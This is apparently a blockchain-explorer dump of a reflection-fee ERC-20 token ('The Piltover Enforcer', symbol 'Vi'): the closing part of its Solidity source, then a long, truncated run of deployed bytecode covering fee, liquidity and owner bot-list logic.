_reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061395e565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061354b565b6103f6565b6040516101629190613943565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613a80565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906134f8565b610423565b6040516101ca9190613943565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061345e565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613b2c565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061345e565b61061e565b6040516102729190613a80565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b49190613875565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061395e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a919061354b565b6108c2565b60405161031c9190613943565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061358b565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906134b8565b6110d2565b6040516103b09190613a80565b60405180910390f35b60606040518060400160405280601581526020017f5468652050696c746f76657220456e666f726365720000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613cce565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567906139c0565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611c67565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd3565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906139c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5669000000000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906139c0565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613eb9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613de1565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d3a565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906139c0565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613a40565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f919061348b565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d50919061348b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce929190613890565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061348b565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f53969594939291906138e2565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613601565b505050600a601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906138b9565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109991906135d4565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906139a0565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a00565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d6906139e0565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611f75565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611b8d576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613a60565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613c74565b6118d09190613c43565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613e2a565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613c74565b611ad29190613c43565b811115611ae357611ae281611f87565b5b505b5b6012600b9054906101000a900460ff16611b8c576005601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b4257601e601260086101000a81548161ffff021916908361ffff1602179055505b600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8b576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c345750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c4b57506012600b9054906101000a900460ff165b15611c5557600090505b611c618484848461209d565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ccf573d6000803e3d6000fd5b5050565b6000600e54821115611d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1190613980565b60405180910390fd5b6000611d246122e6565b90508083611d329190613c43565b915050919050565b6000600267ffffffffffffffff811115611d5757611d56613ee8565b5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611dbf57611dbe613eb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e3057611e2f613eb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f3f959493929190613a9b565b600060405180830381600087803b158015611f5957600080fd5b505af1158015611f6d573d6000803e3d6000fd5b505050505050565b6000601081905550600c601181905550565b60016012600b6101000a81548160ff0219169083151502179055506000600582611fb19190613c43565b905060008183611fc19190613cce565b9050611fcc81611d3a565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316120149190613c43565b905061202b6004826120269190613c74565b611c67565b612035838261230a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120649190613c74565b8560405161207493929190613af5565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b806120ab576120aa612442565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561214e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121635761215e848484612454565b6122e0565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122065750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221b5761221684848461269f565b6122df565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122bd5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122d2576122cd8484846128ea565b6122de565b6122dd848484612bc3565b5b5b5b50505050565b60008060006122f3612d80565b9150915080826123039190613c43565b9250505090565b612359600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856000806123c761085c565b426040518863ffffffff1660e01b81526004016123e9969594939291906138e2565b6060604051808303818588803b15801561240257600080fd5b505af1158015612416573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061243b9190613601565b5050505050565b60006010819055506000601181905550565b60008060008060008061246687613032565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bd9190613cce565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b9190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d99190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262581613094565b61262f8483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161268c9190613a80565b60405180910390a3505050505050505050565b6000806000806000806126b187613032565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127089190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127969190613bed565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128249190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287081613094565b61287a8483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128d79190613a80565b60405180910390a3505050505050505050565b6000806000806000806128fc87613032565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129539190613cce565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e19190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6f9190613bed565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612afd9190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b4981613094565b612b538483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bb09190613a80565b60405180910390a3505050505050505050565b600080600080600080612bd587613032565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2c9190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0681613094565b612d108483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612d6d9190613a80565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612ff257826001600060098481548110612dbf57612dbe613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ead5750816002600060098481548110612e4557612e44613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ec957600e5466038d7ea4c680009450945050505061302e565b6001600060098381548110612ee157612ee0613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612f529190613cce565b92506002600060098381548110612f6c57612f6b613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612fdd9190613cce565b91508080612fea90613de1565b915050612d99565b5066038d7ea4c68000600e546130089190613c43565b82101561302557600e5466038d7ea4c6800093509350505061302e565b81819350935050505b9091565b600080600080600080600080600061304f8a601054601154613285565b925092509250600080600061306d8d86866130686122e6565b6132f1565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061309e6122e6565b9050600081836130ae9190613c74565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461311d9190613bed565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef9190613bed565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132679190613cce565b600e8190555080600f5461327b9190613bed565b600f819055505050565b600080600080606486886132999190613c74565b6132a39190613c43565b90506000606486896132b59190613c74565b6132bf9190613c43565b9050600081838a6132d09190613cce565b6132da9190613cce565b905080838395509550955050505093509350939050565b60008060008084886133039190613c74565b9050600085886133139190613c74565b9050600086886133239190613c74565b905060008183856133349190613cce565b61333e9190613cce565b9050838184965096509650505050509450945094915050565b600061336a61336584613b6c565b613b47565b9050808382526020820190508285602086028201111561338d5761338c613f1c565b5b60005b858110156133bd57816133a388826133c7565b845260208401935060208301925050600181019050613390565b5050509392505050565b6000813590506133d681614142565b92915050565b6000815190506133eb81614142565b92915050565b600082601f83011261340657613405613f17565b5b8135613416848260208601613357565b91505092915050565b60008151905061342e81614159565b92915050565b60008135905061344381614170565b92915050565b60008151905061345881614170565b92915050565b60006020828403121561347457613473613f26565b5b6000613482848285016133c7565b91505092915050565b6000602082840312156134a1576134a0613f26565b5b60006134af848285016133dc565b91505092915050565b600080604083850312156134cf576134ce613f26565b5b60006134dd858286016133c7565b92505060206134ee858286016133c7565b9150509250929050565b60008060006060848603121561351157613510613f26565b5b600061351f868287016133c7565b9350506020613530868287016133c7565b925050604061354186828701613434565b9150509250925092565b6000806040838503121561356257613561613f26565b5b6000613570858286016133c7565b925050602061358185828601613434565b9150509250929050565b6000602082840312156135a1576135a0613f26565b5b600082013567ffffffffffffffff8111156135bf576135be613f21565b5b6135cb848285016133f1565b91505092915050565b6000602082840312156135ea576135e9613f26565b5b60006135f88482850161341f565b91505092915050565b60008060006060848603121561361a57613619613f26565b5b600061362886828701613449565b935050602061363986828701613449565b925050604061364a86828701613449565b9150509250925092565b6000613660838361366c565b60208301905092915050565b61367581613d02565b82525050565b61368481613d02565b82525050565b600061369582613ba8565b61369f8185613bcb565b93506136aa83613b98565b8060005b838110156136db5781516136c28882613654565b97506136cd83613bbe565b9250506001810190506136ae565b5085935050505092915050565b6136f181613d14565b82525050565b61370081613d6b565b82525050565b600061371182613bb3565b61371b8185613bdc565b935061372b818560208601613d7d565b61373481613f2b565b840191505092915050565b600061374c602a83613bdc565b915061375782613f3c565b604082019050919050565b600061376f602283613bdc565b915061377a82613f8b565b604082019050919050565b6000613792602083613bdc565b915061379d82613fda565b6